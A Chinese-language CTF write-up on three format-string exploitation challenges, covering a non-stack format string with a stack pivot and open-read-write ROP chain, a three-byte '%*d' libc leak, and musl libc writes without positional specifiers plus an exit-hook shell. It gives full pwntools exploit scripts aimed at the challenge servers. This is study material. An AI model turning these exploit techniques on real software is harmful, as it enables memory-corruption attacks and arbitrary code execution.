题目附件https://github.com/nyyyddddn/ctf/tree/main/%E5%A5%87%E5%A5%87%E6%80%AA%E6%80%AA%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%88%A9%E7%94%A81

非栈上格式化字符串套orw

hznuctf_ezpwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()

3个字节格式化字符串泄露libc

corctf_format-string

source.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf()
{
    char buf[4];

    if (scanf("%3s", buf) <= 0)
        exit(1);

    printf("Here: ");
    printf(buf);
}

void do_call()
{
    void (*ptr)(const char *);

    if (scanf("%p", &ptr) <= 0)
        exit(1);

    ptr("/bin/sh");
}

int main()
{
    int choice;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    while (1)
    {
        puts("1. printf");
        puts("2. call");

        if (scanf("%d", &choice) <= 0)
            break;

        switch (choice)
        {
            case 1:
                do_printf();
                break;
            case 2:
                do_call();
                break;
            default:
                puts("Invalid choice!");
                exit(1);
        }
    }

    return 0;
}

程序的输入只有三个字节,只需要泄露libc的地址就可以通过do_call去getshell,”%*d”表达式有两个参数一个是打印的宽度,另一个是打印的字符,printf(“% *d”, 5, 42); 这里rsi是宽度 rdx是打印的数字

在第一次do_printf的时候 printf(“Here: “); rsi残留了一个printf缓冲区的地址,这个地址被当成了宽度,在解析格式化字符串的时候printf的缓冲区被写满了字符,第二个do_printf的时候,通过 %s可以将printf缓冲区的内容泄露出来,缓冲区结尾有libc的地址,所以可以通过这种方式去泄露libc

pwndbg> 
0x00005d8dccc20236 in do_printf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX  0x0
 RBX  0x5d8dccc203b0 (__libc_csu_init) ◂— endbr64 
 RCX  0x0
 RDX  0x0
 RDI  0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
 RSI  0x4
 R8   0x64
 R9   0x0
 R10  0x5d8dccc21004 ◂— 0x6572654800733325 /* '%3s' */
 R11  0x246
 R12  0x5d8dccc20100 (_start) ◂— endbr64 
 R13  0x7ffe4c726f90 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
 RSP  0x7ffe4c726e70 ◂— 0x642a25ccc20100
*RIP  0x5d8dccc20236 (do_printf+77) ◂— call 0x5d8dccc200c0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
   0x5d8dccc20217 <do_printf+46>    call   __isoc99_scanf@plt                <__isoc99_scanf@plt>
 
   0x5d8dccc2021c <do_printf+51>    test   eax, eax
   0x5d8dccc2021e <do_printf+53>    jg     do_printf+65                <do_printf+65>
    ↓
   0x5d8dccc2022a <do_printf+65>    lea    rdi, [rip + 0xdd7]
   0x5d8dccc20231 <do_printf+72>    mov    eax, 0
 ► 0x5d8dccc20236 <do_printf+77>    call   printf@plt                <printf@plt>
        format: 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
        vararg: 0x4
 
   0x5d8dccc2023b <do_printf+82>    lea    rax, [rbp - 0xc]
   0x5d8dccc2023f <do_printf+86>    mov    rdi, rax
   0x5d8dccc20242 <do_printf+89>    mov    eax, 0
   0x5d8dccc20247 <do_printf+94>    call   printf@plt                <printf@plt>
 
   0x5d8dccc2024c <do_printf+99>    nop    
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe4c726e70 ◂— 0x642a25ccc20100
01:0008│     0x7ffe4c726e78 ◂— 0xace6cc258ec17700
02:0010│ rbp 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
03:0018│     0x7ffe4c726e88 —▸ 0x5d8dccc2036c (main+164) ◂— jmp 0x5d8dccc20390
04:0020│     0x7ffe4c726e90 ◂— 0x14c726f90
05:0028│     0x7ffe4c726e98 ◂— 0xace6cc258ec17700
06:0030│     0x7ffe4c726ea0 ◂— 0x0
07:0038│     0x7ffe4c726ea8 —▸ 0x7d2bbe226083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► 0   0x5d8dccc20236 do_printf+77
   1   0x5d8dccc2036c main+164
   2   0x7d2bbe226083 __libc_start_main+243
   3   0x5d8dccc2012e _start+46
───────────────────────────

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64')
# log_level='debug'

is_debug = 0
IP = "be.ax"
PORT = 32323

elf = context.binary = ELF('./chal')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )


p = connect()

def print_data(data):
    sl("1")
    sl(data)

def call_addr(addr):
    sl("2")
    sl(hex(addr).encode())

print_data("%*d")
print_data("%s")

system = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x19a6f0
call_addr(system)



p.interactive()

musl libc中的格式化字符串 (和禁用$差不多)

crewctf_Format muscle

使用musl libc动态连接

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf((FILE *)&dword_0, 0LL);
  do
  {
    fgets(s, 256, (FILE *)&dword_0);
    printf(s);
  }
  while ( strncmp(s, "quit", 4uLL) );
  exit(0);
}

musl libc中没有glibc里 %10$n这样的位置描述符,所以在不使用位置描述符的情况下去实现任意地址读写的原语,可以填充大量的%c去替代idx来实现任意地址读写的

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./format-muscle')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )



p = connect()

gdb_comm = '''
b *$rebase(0x11F5)
c
'''


def write_byte(byte, addr):
    sl(b'%c%c%c%c' + f'.%{byte + 248}c%c'.encode() + b'%c%c%hhn' + p64(addr))

def write_qword(qword, addr):
    for i in range(8):
        write_byte((qword >> (8 * i)) & 0xff, addr + i)


# -stack-libc
payload = b'%p' * 34 + b'-%p'
payload += b'%p' * 7 + b'-%p'

sl(payload)

ru('-')
stack = int(r(14),16)
ru('-')
libc_base = int(r(14),16) - (0x75fb9b010560 - 0x75fb9af61000)
rbp = stack - (0x7ffe2b6f52c8 - 0x7ffe2b6f5280)
input_addr = rbp - 0x110
success(hex(libc_base))
success(hex(rbp))


system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + 0x00000000000152a1
ret = libc_base + 0x0000000000019e9c

payload = b'\x00' * 255
sl(payload) # clean up buf

payload = b'%p' * 46 + b'-%p'
sl(payload)
ru('-')
elf_base = int(r(14),16) - (0x61b7c38d50a6 - 0x61b7c38d4000)
success(hex(elf_base))

payload = b'\x00' * 255
sl(payload) # clean up buf

struct_fl_addr = libc_base + 0xafc48
fake_struct_fl_addr = elf_base + 0x4200

write_qword(fake_struct_fl_addr, struct_fl_addr)
write_qword(fake_struct_fl_addr, fake_struct_fl_addr)
write_qword(system, fake_struct_fl_addr + 0x100)
write_qword(binsh, fake_struct_fl_addr + 0x200)


# g(p)
sl("quit")


p.interactive()

musl libc中的exit hook,在exit的一个子函数中有一个函数指针的调用的操作,这个函数指针和参数都在ld的数据段上,所以如果能实现任意地址写同时能触发exit就能通过exit hook去getshell

void __fastcall __noreturn exit(unsigned int a1)
{
  sub_1B880();
  sub_75E10();
  sub_5A100();
  Exit(a1);
}

__int64 sub_1B880()
{
  __int64 result; // rax
  _QWORD *v1; // rdx
  int v2; // ecx
  __int64 v3; // r12
  void (__fastcall *v4)(__int64); // rbp
  bool v5; // cc

  result = sub_68D30(&unk_AFE60);
  v1 = (_QWORD *)qword_AFC48;
  if ( qword_AFC48 )
  {
    v2 = dword_AFE64;
    result = (unsigned int)--dword_AFE64;
    if ( v2 <= 0 )
      goto LABEL_4;
    while ( 1 )
    {
      do
      {
        v3 = v1[(int)result + 33];
        v4 = (void (__fastcall *)(__int64))v1[(int)result + 1];
        sub_68E20(&unk_AFE60);
        v4(v3);
        sub_68D30(&unk_AFE60);
        result = (unsigned int)(dword_AFE64 - 1);
        v5 = dword_AFE64 <= 0;
        v1 = (_QWORD *)qword_AFC48;
        --dword_AFE64;
      }
      while ( !v5 );
LABEL_4:
      dword_AFE64 = 32;
      v1 = (_QWORD *)*v1;
      qword_AFC48 = (__int64)v1;
      if ( !v1 )
        break;
      dword_AFE64 = 31;
      LODWORD(result) = 31;
    }
  }
  return result;
}
⬆︎TOP